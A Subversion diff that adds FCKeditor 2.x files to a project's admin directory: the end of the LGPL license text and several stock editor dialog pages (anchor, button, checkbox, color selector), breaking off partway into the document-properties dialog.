+				distribute such modifications or work under the terms of Section 1 above, 
+				provided that you also meet all of these conditions:
+			</P>
+			<BLOCKQUOTE>
+				<P>a) The modified work must itself be a software library.
+				</P>
+				<P>b) You must cause the files modified to carry prominent notices stating that you 
+					changed the files and the date of any change.</P>
+				<P>c) You must cause the whole of the work to be licensed at no charge to all third 
+					parties under the terms of this License.
+				</P>
+				<P>d) If a facility in the modified Library refers to a function or a table of data 
+					to be supplied by an application program that uses the facility, other than as 
+					an argument passed when the facility is invoked, then you must make a good 
+					faith effort to ensure that, in the event an application does not supply such 
+					function or table, the facility still operates, and performs whatever part of 
+					its purpose remains meaningful.
+				</P>
+				<P>(For example, a function in a library to compute square roots has a purpose that 
+					is entirely well-defined independent of the application. Therefore, Subsection 
+					2d requires that any application-supplied function or table used by this 
+					function must be optional: if the application does not supply it, the square 
+					root function must still compute square roots.)
+				</P>
+				<P>These requirements apply to the modified work as a whole. If identifiable 
+					sections of that work are not derived from the Library, and can be reasonably 
+					considered independent and separate works in themselves, then this License, and 
+					its terms, do not apply to those sections when you distribute them as separate 
+					works. But when you distribute the same sections as part of a whole which is a 
+					work based on the Library, the distribution of the whole must be on the terms 
+					of this License, whose permissions for other licensees extend to the entire 
+					whole, and thus to each and every part regardless of who wrote it.
+				</P>
+				<P>Thus, it is not the intent of this section to claim rights or contest your 
+					rights to work written entirely by you; rather, the intent is to exercise the 
+					right to control the distribution of derivative or collective works based on 
+					the Library.
+				</P>
+				<P>In addition, mere aggregation of another work not based on the Library with the 
+					Library (or with a work based on the Library) on a volume of a storage or 
+					distribution medium does not bring the other work under the scope of this 
+					License.
+				</P>
+			</BLOCKQUOTE>
+			<P><STRONG>3.</STRONG> You may opt to apply the terms of the ordinary GNU General 
+				Public License instead of this License to a given copy of the Library. To do 
+				this, you must alter all the notices that refer to this License, so that they 
+				refer to the ordinary GNU General Public License, version 2, instead of to this 
+				License. (If a newer version than version 2 of the ordinary GNU General Public 
+				License has appeared, then you can specify that version instead if you wish.) 
+				Do not make any other change in these notices.
+			</P>
+			<P>Once this change is made in a given copy, it is irreversible for that copy, so 
+				the ordinary GNU General Public License applies to all subsequent copies and 
+				derivative works made from that copy.
+			</P>
+			<P>This option is useful when you wish to copy part of the code of the Library into 
+				a program that is not a library.
+			</P>
+			<P><STRONG>4.</STRONG> You may copy and distribute the Library (or a portion or 
+				derivative of it, under Section 2) in object code or executable form under the 
+				terms of Sections 1 and 2 above provided that you accompany it with the 
+				complete corresponding machine-readable source code, which must be distributed 
+				under the terms of Sections 1 and 2 above on a medium customarily used for 
+				software interchange.
+			</P>
+			<P>If distribution of object code is made by offering access to copy from a 
+				designated place, then offering equivalent access to copy the source code from 
+				the same place satisfies the requirement to distribute the source code, even 
+				though third parties are not compelled to copy the source along with the object 
+				code.</P>
+			<P><STRONG>5.</STRONG> A program that contains no derivative of any portion of the 
+				Library, but is designed to work with the Library by being compiled or linked 
+				with it, is called a "work that uses the Library". Such a work, in isolation, 
+				is not a derivative work of the Library, and therefore falls outside the scope 
+				of this License.
+			</P>
+			<P>However, linking a "work that uses the Library" with the Library creates an 
+				executable that is a derivative of the Library (because it contains portions of 
+				the Library), rather than a "work that uses the library". The executable is 
+				therefore covered by this License. Section 6 states terms for distribution of 
+				such executables.
+			</P>
+			<P>When a "work that uses the Library" uses material from a header file that is 
+				part of the Library, the object code for the work may be a derivative work of 
+				the Library even though the source code is not. Whether this is true is 
+				especially significant if the work can be linked without the Library, or if the 
+				work is itself a library. The threshold for this to be true is not precisely 
+				defined by law.
+			</P>
+			<P>If such an object file uses only numerical parameters, data structure layouts 
+				and accessors, and small macros and small inline functions (ten lines or less 
+				in length), then the use of the object file is unrestricted, regardless of 
+				whether it is legally a derivative work. (Executables containing this object 
+				code plus portions of the Library will still fall under Section 6.)
+			</P>
+			<P>Otherwise, if the work is a derivative of the Library, you may distribute the 
+				object code for the work under the terms of Section 6. Any executables 
+				containing that work also fall under Section 6, whether or not they are linked 
+				directly with the Library itself.
+			</P>
+			<P><STRONG>6.</STRONG> As an exception to the Sections above, you may also combine 
+				or link a "work that uses the Library" with the Library to produce a work 
+				containing portions of the Library, and distribute that work under terms of 
+				your choice, provided that the terms permit modification of the work for the 
+				customer's own use and reverse engineering for debugging such modifications.
+			</P>
+			<P>You must give prominent notice with each copy of the work that the Library is 
+				used in it and that the Library and its use are covered by this License. You 
+				must supply a copy of this License. If the work during execution displays 
+				copyright notices, you must include the copyright notice for the Library among 
+				them, as well as a reference directing the user to the copy of this License. 
+				Also, you must do one of these things:
+			</P>
+			<BLOCKQUOTE>
+				<P>a) Accompany the work with the complete corresponding machine-readable source 
+					code for the Library including whatever changes were used in the work (which 
+					must be distributed under Sections 1 and 2 above); and, if the work is an 
+					executable linked with the Library, with the complete machine-readable "work 
+					that uses the Library", as object code and/or source code, so that the user can 
+					modify the Library and then relink to produce a modified executable containing 
+					the modified Library. (It is understood that the user who changes the contents 
+					of definitions files in the Library will not necessarily be able to recompile 
+					the application to use the modified definitions.)
+				</P>
+				<P>b) Use a suitable shared library mechanism for linking with the Library. A 
+					suitable mechanism is one that (1) uses at run time a copy of the library 
+					already present on the user's computer system, rather than copying library 
+					functions into the executable, and (2) will operate properly with a modified 
+					version of the library, if the user installs one, as long as the modified 
+					version is interface-compatible with the version that the work was made with.
+				</P>
+				<P>c) Accompany the work with a written offer, valid for at least three years, to 
+					give the same user the materials specified in Subsection 6a, above, for a 
+					charge no more than the cost of performing this distribution.
+				</P>
+				<P>d) If distribution of the work is made by offering access to copy from a 
+					designated place, offer equivalent access to copy the above specified materials 
+					from the same place.
+				</P>
+				<P>e) Verify that the user has already received a copy of these materials or that 
+					you have already sent this user a copy.</P>
+			</BLOCKQUOTE>
+			<P>For an executable, the required form of the "work that uses the Library" must 
+				include any data and utility programs needed for reproducing the executable 
+				from it. However, as a special exception, the materials to be distributed need 
+				not include anything that is normally distributed (in either source or binary 
+				form) with the major components (compiler, kernel, and so on) of the operating 
+				system on which the executable runs, unless that component itself accompanies 
+				the executable.
+			</P>
+			<P>It may happen that this requirement contradicts the license restrictions of 
+				other proprietary libraries that do not normally accompany the operating 
+				system. Such a contradiction means you cannot use both them and the Library 
+				together in an executable that you distribute.
+			</P>
+			<P><STRONG>7.</STRONG> You may place library facilities that are a work based on 
+				the Library side-by-side in a single library together with other library 
+				facilities not covered by this License, and distribute such a combined library, 
+				provided that the separate distribution of the work based on the Library and of 
+				the other library facilities is otherwise permitted, and provided that you do 
+				these two things:
+			</P>
+			<BLOCKQUOTE>
+				<P>a) Accompany the combined library with a copy of the same work based on the 
+					Library, uncombined with any other library facilities. This must be distributed 
+					under the terms of the Sections above.
+				</P>
+				<P>b) Give prominent notice with the combined library of the fact that part of it 
+					is a work based on the Library, and explaining where to find the accompanying 
+					uncombined form of the same work.</P>
+			</BLOCKQUOTE>
+			<P><STRONG>8.</STRONG> You may not copy, modify, sublicense, link with, or 
+				distribute the Library except as expressly provided under this License. Any 
+				attempt otherwise to copy, modify, sublicense, link with, or distribute the 
+				Library is void, and will automatically terminate your rights under this 
+				License. However, parties who have received copies, or rights, from you under 
+				this License will not have their licenses terminated so long as such parties 
+				remain in full compliance.
+			</P>
+			<P><STRONG>9.</STRONG> You are not required to accept this License, since you have 
+				not signed it. However, nothing else grants you permission to modify or 
+				distribute the Library or its derivative works. These actions are prohibited by 
+				law if you do not accept this License. Therefore, by modifying or distributing 
+				the Library (or any work based on the Library), you indicate your acceptance of 
+				this License to do so, and all its terms and conditions for copying, 
+				distributing or modifying the Library or works based on it.
+			</P>
+			<P><STRONG>10.</STRONG> Each time you redistribute the Library (or any work based 
+				on the Library), the recipient automatically receives a license from the 
+				original licensor to copy, distribute, link with or modify the Library subject 
+				to these terms and conditions. You may not impose any further restrictions on 
+				the recipients' exercise of the rights granted herein. You are not responsible 
+				for enforcing compliance by third parties with this License.
+			</P>
+			<P><STRONG>11.</STRONG> If, as a consequence of a court judgment or allegation of 
+				patent infringement or for any other reason (not limited to patent issues), 
+				conditions are imposed on you (whether by court order, agreement or otherwise) 
+				that contradict the conditions of this License, they do not excuse you from the 
+				conditions of this License. If you cannot distribute so as to satisfy 
+				simultaneously your obligations under this License and any other pertinent 
+				obligations, then as a consequence you may not distribute the Library at all. 
+				For example, if a patent license would not permit royalty-free redistribution 
+				of the Library by all those who receive copies directly or indirectly through 
+				you, then the only way you could satisfy both it and this License would be to 
+				refrain entirely from distribution of the Library.
+			</P>
+			<P>If any portion of this section is held invalid or unenforceable under any 
+				particular circumstance, the balance of the section is intended to apply, and 
+				the section as a whole is intended to apply in other circumstances.
+			</P>
+			<P>It is not the purpose of this section to induce you to infringe any patents or 
+				other property right claims or to contest validity of any such claims; this 
+				section has the sole purpose of protecting the integrity of the free software 
+				distribution system which is implemented by public license practices. Many 
+				people have made generous contributions to the wide range of software 
+				distributed through that system in reliance on consistent application of that 
+				system; it is up to the author/donor to decide if he or she is willing to 
+				distribute software through any other system and a licensee cannot impose that 
+				choice.
+			</P>
+			<P>This section is intended to make thoroughly clear what is believed to be a 
+				consequence of the rest of this License.
+			</P>
+			<P><STRONG>12.</STRONG> If the distribution and/or use of the Library is restricted 
+				in certain countries either by patents or by copyrighted interfaces, the 
+				original copyright holder who places the Library under this License may add an 
+				explicit geographical distribution limitation excluding those countries, so 
+				that distribution is permitted only in or among countries not thus excluded. In 
+				such case, this License incorporates the limitation as if written in the body 
+				of this License.
+			</P>
+			<P><STRONG>13.</STRONG> The Free Software Foundation may publish revised and/or new 
+				versions of the Lesser General Public License from time to time. Such new 
+				versions will be similar in spirit to the present version, but may differ in 
+				detail to address new problems or concerns.</P>
+			<P>Each version is given a distinguishing version number. If the Library specifies 
+				a version number of this License which applies to it and "any later version", 
+				you have the option of following the terms and conditions either of that 
+				version or of any later version published by the Free Software Foundation. If 
+				the Library does not specify a license version number, you may choose any 
+				version ever published by the Free Software Foundation.
+			</P>
+			<P><STRONG>14.</STRONG> If you wish to incorporate parts of the Library into other 
+				free programs whose distribution conditions are incompatible with these, write 
+				to the author to ask for permission. For software which is copyrighted by the 
+				Free Software Foundation, write to the Free Software Foundation; we sometimes 
+				make exceptions for this. Our decision will be guided by the two goals of 
+				preserving the free status of all derivatives of our free software and of 
+				promoting the sharing and reuse of software generally.
+			</P>
+			<P>NO WARRANTY
+			</P>
+			<P><STRONG>15. </STRONG>BECAUSE THE LIBRARY IS LICENSED FREE OF CHARGE, THERE IS NO 
+				WARRANTY FOR THE LIBRARY, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT 
+				WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES 
+				PROVIDE THE LIBRARY "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR 
+				IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF 
+				MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS TO THE 
+				QUALITY AND PERFORMANCE OF THE LIBRARY IS WITH YOU. SHOULD THE LIBRARY PROVE 
+				DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, REPAIR OR 
+				CORRECTION.
+			</P>
+			<P><STRONG>16.</STRONG> IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO 
+				IN WRITING WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR 
+				REDISTRIBUTE THE LIBRARY AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, 
+				INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT 
+				OF THE USE OR INABILITY TO USE THE LIBRARY (INCLUDING BUT NOT LIMITED TO LOSS 
+				OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD 
+				PARTIES OR A FAILURE OF THE LIBRARY TO OPERATE WITH ANY OTHER SOFTWARE), EVEN 
+				IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH 
+				DAMAGES.
+			</P>
+			<H4><STRONG>END OF TERMS AND CONDITIONS</STRONG></H4>
+		</TT>
+	</body>
+</html>
Index: /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/dialog/fck_anchor.html
===================================================================
--- /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/dialog/fck_anchor.html	(revision 44)
+++ /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/dialog/fck_anchor.html	(revision 44)
@@ -0,0 +1,98 @@
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" >
+<!--
+ * FCKeditor - The text editor for internet
+ * Copyright (C) 2003-2006 Frederico Caldeira Knabben
+ * 
+ * Licensed under the terms of the GNU Lesser General Public License:
+ * 		http://www.opensource.org/licenses/lgpl-license.php
+ * 
+ * For further information visit:
+ * 		http://www.fckeditor.net/
+ * 
+ * "Support Open Source software. What about a donation today?"
+ * 
+ * File Name: fck_anchor.html
+ * 	Anchor dialog window.
+ * 
+ * File Authors:
+ * 		Frederico Caldeira Knabben (fredck@fckeditor.net)
+-->
+<html>
+	<head>
+		<title>Anchor Properties</title>
+		<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
+		<meta content="noindex, nofollow" name="robots">
+		<script src="common/fck_dialog_common.js" type="text/javascript"></script>
+		<script type="text/javascript">
+
+var oEditor	= window.parent.InnerDialogLoaded() ;
+var FCK		= oEditor.FCK ;
+
+// Gets the document DOM
+var oDOM = oEditor.FCK.EditorDocument ;
+
+var oFakeImage = FCK.Selection.GetSelectedElement() ;
+var oAnchor ;
+
+if ( oFakeImage )
+{
+	if ( oFakeImage.tagName == 'IMG' && oFakeImage.getAttribute('_fckanchor') )
+		oAnchor = FCK.GetRealElement( oFakeImage ) ;
+	else
+		oFakeImage = null ;
+}
+
+window.onload = function()
+{
+	// First of all, translate the dialog box texts
+	oEditor.FCKLanguageManager.TranslatePage(document) ;
+
+	if ( oAnchor )
+		GetE('txtName').value = oAnchor.name ;
+	else
+		oAnchor = null ;
+
+	window.parent.SetOkButton( true ) ;
+}
+
+function Ok()
+{
+	if ( GetE('txtName').value.length == 0 )
+	{
+		alert( oEditor.FCKLang.DlgAnchorErrorName ) ;
+		return false ;
+	}
+	
+	oEditor.FCKUndo.SaveUndoStep() ;
+	
+	oAnchor		= FCK.EditorDocument.createElement( 'DIV' ) ;
+	oAnchor.innerHTML = '<a name="' + GetE('txtName').value + '"><\/a>' ;
+	oAnchor = oAnchor.firstChild ;
+
+	oFakeImage	= oEditor.FCKDocumentProcessor_CreateFakeImage( 'FCK__Anchor', oAnchor ) ;
+	oFakeImage.setAttribute( '_fckanchor', 'true', 0 ) ;
+	oFakeImage	= FCK.InsertElementAndGetIt( oFakeImage ) ;
+
+//	oEditor.FCK.InsertHtml( '<a name="' + GetE('txtName').value + '"><\/a>' ) ;
+	return true ;
+}
+
+		</script>
+	</head>
+	<body style="OVERFLOW: hidden" scroll="no">
+		<table height="100%" width="100%">
+			<tr>
+				<td align="center">
+					<table border="0" cellpadding="0" cellspacing="0" width="80%">
+						<tr>
+							<td>
+								<span fckLang="DlgAnchorName">Anchor Name</span><BR>
+								<input id="txtName" style="width: 100%" type="text">
+							</td>
+						</tr>
+					</table>
+				</td>
+			</tr>
+		</table>
+	</body>
+</html>
Index: /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/dialog/fck_button.html
===================================================================
--- /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/dialog/fck_button.html	(revision 44)
+++ /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/dialog/fck_button.html	(revision 44)
@@ -0,0 +1,103 @@
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" >
+<!--
+ * FCKeditor - The text editor for internet
+ * Copyright (C) 2003-2006 Frederico Caldeira Knabben
+ * 
+ * Licensed under the terms of the GNU Lesser General Public License:
+ * 		http://www.opensource.org/licenses/lgpl-license.php
+ * 
+ * For further information visit:
+ * 		http://www.fckeditor.net/
+ * 
+ * "Support Open Source software. What about a donation today?"
+ * 
+ * File Name: fck_button.html
+ * 	Button dialog window.
+ * 
+ * File Authors:
+ * 		Frederico Caldeira Knabben (fredck@fckeditor.net)
+-->
+<html xmlns="http://www.w3.org/1999/xhtml">
+<head>
+	<title>Button Properties</title>
+	<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
+	<meta content="noindex, nofollow" name="robots" />
+	<script src="common/fck_dialog_common.js" type="text/javascript"></script>
+	<script type="text/javascript">
+
+var oEditor = window.parent.InnerDialogLoaded() ;
+
+// Gets the document DOM
+var oDOM = oEditor.FCK.EditorDocument ;
+
+var oActiveEl = oEditor.FCKSelection.GetSelectedElement() ;
+
+window.onload = function()
+{
+	// First of all, translate the dialog box texts
+	oEditor.FCKLanguageManager.TranslatePage(document) ;
+
+	if ( oActiveEl && oActiveEl.tagName.toUpperCase() == "INPUT" && ( oActiveEl.type == "button" || oActiveEl.type == "submit" || oActiveEl.type == "reset" ) )
+	{
+		GetE('txtName').value	= oActiveEl.name ;
+		GetE('txtValue').value	= oActiveEl.value ;
+		GetE('txtType').value	= oActiveEl.type ;
+
+		GetE('txtType').disabled = true ;
+	}
+	else
+		oActiveEl = null ;
+
+	window.parent.SetOkButton( true ) ;
+}
+
+function Ok()
+{
+	if ( !oActiveEl )
+	{
+		oActiveEl = oEditor.FCK.EditorDocument.createElement( 'INPUT' ) ;
+		oActiveEl.type = GetE('txtType').value ;
+		oActiveEl = oEditor.FCK.InsertElementAndGetIt( oActiveEl ) ;
+	}
+
+	oActiveEl.name = GetE('txtName').value ;
+	SetAttribute( oActiveEl, 'value', GetE('txtValue').value ) ;
+
+	return true ;
+}
+
+	</script>
+</head>
+<body style="overflow: hidden">
+	<table width="100%" style="height: 100%">
+		<tr>
+			<td align="center">
+				<table border="0" cellpadding="0" cellspacing="0" width="80%">
+					<tr>
+						<td colspan="">
+							<span fcklang="DlgCheckboxName">Name</span><br />
+							<input type="text" size="20" id="txtName" style="width: 100%" />
+						</td>
+					</tr>
+					<tr>
+						<td>
+							<span fcklang="DlgButtonText">Text (Value)</span><br />
+							<input type="text" id="txtValue" style="width: 100%" />
+						</td>
+					</tr>
+					<tr>
+						<td>
+							<span fcklang="DlgButtonType">Type</span><br />
+							<select id="txtType">
+								<option fcklang="DlgButtonTypeBtn" value="button" selected="selected">Button</option>
+								<option fcklang="DlgButtonTypeSbm" value="submit">Submit</option>
+								<option fcklang="DlgButtonTypeRst" value="reset">Reset</option>
+							</select>
+						</td>
+					</tr>
+				</table>
+			</td>
+		</tr>
+	</table>
+</body>
+</html>
Index: /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/dialog/fck_checkbox.html
===================================================================
--- /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/dialog/fck_checkbox.html	(revision 44)
+++ /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/dialog/fck_checkbox.html	(revision 44)
@@ -0,0 +1,103 @@
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" >
+<!--
+ * FCKeditor - The text editor for internet
+ * Copyright (C) 2003-2006 Frederico Caldeira Knabben
+ * 
+ * Licensed under the terms of the GNU Lesser General Public License:
+ * 		http://www.opensource.org/licenses/lgpl-license.php
+ * 
+ * For further information visit:
+ * 		http://www.fckeditor.net/
+ * 
+ * "Support Open Source software. What about a donation today?"
+ * 
+ * File Name: fck_checkbox.html
+ * 	Checkbox dialog window.
+ * 
+ * File Authors:
+ * 		Frederico Caldeira Knabben (fredck@fckeditor.net)
+-->
+<html>
+	<head>
+		<title>Checkbox Properties</title>
+		<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
+		<meta content="noindex, nofollow" name="robots">
+		<script src="common/fck_dialog_common.js" type="text/javascript"></script>
+		<script type="text/javascript">
+
+var oEditor = window.parent.InnerDialogLoaded() ;
+
+// Gets the document DOM
+var oDOM = oEditor.FCK.EditorDocument ;
+
+var oActiveEl = oEditor.FCKSelection.GetSelectedElement() ;
+
+window.onload = function()
+{
+	// First of all, translate the dialog box texts
+	oEditor.FCKLanguageManager.TranslatePage(document) ;
+
+	if ( oActiveEl && oActiveEl.tagName == 'INPUT' && oActiveEl.type == 'checkbox' )
+	{
+		GetE('txtName').value		= oActiveEl.name ;
+		GetE('txtValue').value		= oEditor.FCKBrowserInfo.IsIE ? oActiveEl.value : GetAttribute( oActiveEl, 'value' ) ;
+		GetE('txtSelected').checked	= oActiveEl.checked ;
+	}
+	else
+		oActiveEl = null ;
+
+	window.parent.SetOkButton( true ) ;
+}
+
+function Ok()
+{
+	if ( !oActiveEl )
+	{
+		oActiveEl = oEditor.FCK.EditorDocument.createElement( 'INPUT' ) ;
+		oActiveEl.type = 'checkbox' ;
+		oActiveEl = oEditor.FCK.InsertElementAndGetIt( oActiveEl ) ;
+	}
+
+	if ( GetE('txtName').value.length > 0 )
+		oActiveEl.name = GetE('txtName').value ;
+		
+	if ( oEditor.FCKBrowserInfo.IsIE )
+		oActiveEl.value = GetE('txtValue').value ;
+	else
+		SetAttribute( oActiveEl, 'value', GetE('txtValue').value ) ;
+
+	var bIsChecked = GetE('txtSelected').checked ;
+	SetAttribute( oActiveEl, 'checked', bIsChecked ? 'checked' : null ) ;	// For Firefox
+	oActiveEl.checked = bIsChecked ;
+
+	return true ;
+}
+
+		</script>
+	</head>
+	<body style="OVERFLOW: hidden" scroll="no">
+		<table height="100%" width="100%">
+			<tr>
+				<td align="center">
+					<table border="0" cellpadding="0" cellspacing="0" width="80%">
+						<tr>
+							<td>
+								<span fckLang="DlgCheckboxName">Name</span><br>
+								<input type="text" size="20" id="txtName" style="width: 100%">
+							</td>
+						</tr>
+						<tr>
+							<td>
+								<span fckLang="DlgCheckboxValue">Value</span><br>
+								<input type="text" size="20" id="txtValue" style="width: 100%">
+							</td>
+						</tr>
+						<tr>
+							<td><input type="checkbox" id="txtSelected"><label for="txtSelected" fckLang="DlgCheckboxSelected">Checked</label></td>
+						</tr>
+					</table>
+				</td>
+			</tr>
+		</table>
+	</body>
+</html>
Index: /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/dialog/fck_colorselector.html
===================================================================
--- /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/dialog/fck_colorselector.html	(revision 44)
+++ /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/dialog/fck_colorselector.html	(revision 44)
@@ -0,0 +1,167 @@
+<!--
+ * FCKeditor - The text editor for internet
+ * Copyright (C) 2003-2006 Frederico Caldeira Knabben
+ * 
+ * Licensed under the terms of the GNU Lesser General Public License:
+ * 		http://www.opensource.org/licenses/lgpl-license.php
+ * 
+ * For further information visit:
+ * 		http://www.fckeditor.net/
+ * 
+ * "Support Open Source software. What about a donation today?"
+ * 
+ * File Name: fck_colorselector.html
+ * 	Color Selection dialog window.
+ * 
+ * File Authors:
+ * 		Frederico Caldeira Knabben (fredck@fckeditor.net)
+-->
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" >
+<html>
+	<head>
+		<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
+		<meta name="robots" content="noindex, nofollow" />
+		<style TYPE="text/css">
+			#ColorTable		{ cursor: pointer ; cursor: hand ; }
+			#hicolor		{ height: 74px ; width: 74px ; border-width: 1px ; border-style: solid ; }
+			#hicolortext	{ width: 75px ; text-align: right ; margin-bottom: 7px ; }
+			#selhicolor		{ height: 20px ; width: 74px ; border-width: 1px ; border-style: solid ; }
+			#selcolor		{ width: 75px ; height: 20px ; margin-top: 0px ; margin-bottom: 7px ; }
+			#btnClear		{ width: 75px ; height: 22px ; margin-bottom: 6px ; }
+			.ColorCell		{ height: 15px ; width: 15px ; }
+		</style>
+		<script type="text/javascript">
+		
+var oEditor = window.parent.InnerDialogLoaded() ;
+
+function OnLoad()
+{
+	// First of all, translate the dialog box texts
+	oEditor.FCKLanguageManager.TranslatePage(document) ;
+	
+	CreateColorTable() ;
+	
+	window.parent.SetOkButton( true ) ;	
+	window.parent.SetAutoSize( true ) ;
+}
+
+function CreateColorTable()
+{
+	// Get the target table.
+	var oTable = document.getElementById('ColorTable') ;
+
+	// Create the base colors array.
+	var aColors = ['00','33','66','99','cc','ff'] ;
+
+	// This function combines two ranges of three values from the color array into a row.
+	function AppendColorRow( rangeA, rangeB )
+	{
+		for ( var i = rangeA ; i < rangeA + 3 ; i++ ) 
+		{ 
+			var oRow = oTable.insertRow(-1) ; 
+
+			for ( var j = rangeB ; j < rangeB + 3 ; j++ ) 
+			{ 
+				for ( var n = 0 ; n < 6 ; n++ ) 
+				{ 
+					AppendColorCell( oRow, '#' + aColors[j] + aColors[n] + aColors[i] ) ; 
+				} 
+			} 
+		}
+	}
+
+	// This function create a single color cell in the color table.
+	function AppendColorCell( targetRow, color )
+	{
+		var oCell = targetRow.insertCell(-1) ;
+		oCell.className = 'ColorCell' ;
+		oCell.bgColor = color ;
+		
+		oCell.onmouseover = function()
+		{
+			document.getElementById('hicolor').style.backgroundColor = this.bgColor ;
+			document.getElementById('hicolortext').innerHTML = this.bgColor ;
+		}
+		
+		oCell.onclick = function()
+		{
+			document.getElementById('selhicolor').style.backgroundColor = this.bgColor ;
+			document.getElementById('selcolor').value = this.bgColor ;
+		}
+	}
+
+	AppendColorRow( 0, 0 ) ;
+	AppendColorRow( 3, 0 ) ;
+	AppendColorRow( 0, 3 ) ;
+	AppendColorRow( 3, 3 ) ;
+
+	// Create the last row.
+	var oRow = oTable.insertRow(-1) ;
+	
+	// Create the gray scale colors cells.
+	for ( var n = 0 ; n < 6 ; n++ )
+	{
+		AppendColorCell( oRow, '#' + aColors[n] + aColors[n] + aColors[n] ) ; 
+	}
+	
+	// Fill the row with black cells.
+	for ( var i = 0 ; i < 12 ; i++ )
+	{
+		AppendColorCell( oRow, '#000000' ) ; 
+	}
+}
+
+function Clear()
+{
+	document.getElementById('selhicolor').style.backgroundColor = '' ;
+	document.getElementById('selcolor').value = '' ;
+}
+
+function ClearActual()
+{
+	document.getElementById('hicolor').style.backgroundColor = '' ;
+	document.getElementById('hicolortext').innerHTML = '&nbsp;' ;
+}
+
+function UpdateColor()
+{
+	try		  { document.getElementById('selhicolor').style.backgroundColor = document.getElementById('selcolor').value ; }
+	catch (e) { Clear() ; }
+}
+
+function Ok()
+{
+	if ( typeof(window.parent.dialogArguments.CustomValue) == 'function' )
+		window.parent.dialogArguments.CustomValue( document.getElementById('selcolor').value ) ;
+
+	return true ;
+}
+		</script>
+	</head>
+	<body onload="OnLoad()" scroll="no" style="OVERFLOW: hidden">
+		<table cellpadding="0" cellspacing="0" border="0" width="100%" height="100%">
+			<tr>
+				<td align="center" valign="middle">
+					<table border="0" cellspacing="5" cellpadding="0" width="100%">
+						<tr>
+							<td valign="top" align="center" nowrap width="100%">
+								<table id="ColorTable" border="0" cellspacing="0" cellpadding="0" width="270" onmouseout="ClearActual();">
+								</table>
+							</td>
+							<td valign="top" align="left" nowrap>
+								<span fckLang="DlgColorHighlight">Highlight</span>
+								<div id="hicolor"></div>
+								<div id="hicolortext">&nbsp;</div>
+								<span fckLang="DlgColorSelected">Selected</span>
+								<div id="selhicolor"></div>
+								<input id="selcolor" type="text" maxlength="20" onchange="UpdateColor();">
+								<br>
+								<input id="btnClear" type="button" fckLang="DlgColorBtnClear" value="Clear" onclick="Clear();" />
+							</td>
+						</tr>
+					</table>
+				</td>
+			</tr>
+		</table>
+	</body>
+</html>
Index: /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/dialog/fck_docprops.html
===================================================================
--- /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/dialog/fck_docprops.html	(revision 44)
+++ /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/dialog/fck_docprops.html	(revision 44)
@@ -0,0 +1,591 @@
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
+<!--
+ * FCKeditor - The text editor for internet
+ * Copyright (C) 2003-2006 Frederico Caldeira Knabben
+ * 
+ * Licensed under the terms of the GNU Lesser General Public License:
+ * 		http://www.opensource.org/licenses/lgpl-license.php
+ * 
+ * For further information visit:
+ * 		http://www.fckeditor.net/
+ * 
+ * "Support Open Source software. What about a donation today?"
+ * 
+ * File Name: fck_docprops.html
+ * 	Link dialog window.
+ * 
+ * File Authors:
+ * 		Frederico Caldeira Knabben (fredck@fckeditor.net)
+-->
+<html xmlns="http://www.w3.org/1999/xhtml">
+<head>
+	<title></title>
+	<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
+	<meta content="noindex, nofollow" name="robots" />
+	<script src="common/fck_dialog_common.js" type="text/javascript"></script>
+	<script type="text/javascript">
+
+var oEditor		= window.parent.InnerDialogLoaded() ;
+var FCK			= oEditor.FCK ;
+var FCKLang		= oEditor.FCKLang ;
+var FCKConfig	= oEditor.FCKConfig ;
+
+//#### Dialog Tabs
+
+// Set the dialog tabs.
+window.parent.AddTab( 'General'		, FCKLang.DlgDocGeneralTab ) ;
+window.parent.AddTab( 'Background'	, FCKLang.DlgDocBackTab ) ;
+window.parent.AddTab( 'Colors'		, FCKLang.DlgDocColorsTab ) ;
+window.parent.AddTab( 'Meta'		, FCKLang.DlgDocMetaTab ) ;
+
+// Function called when a dialog tag is selected.
+function OnDialogTabChange( tabCode )
+{
+	ShowE( 'divGeneral'		, ( tabCode == 'General' ) ) ;
+	ShowE( 'divBackground'	, ( tabCode == 'Background' ) ) ;
+	ShowE( 'divColors'		, ( tabCode == 'Colors' ) ) ;
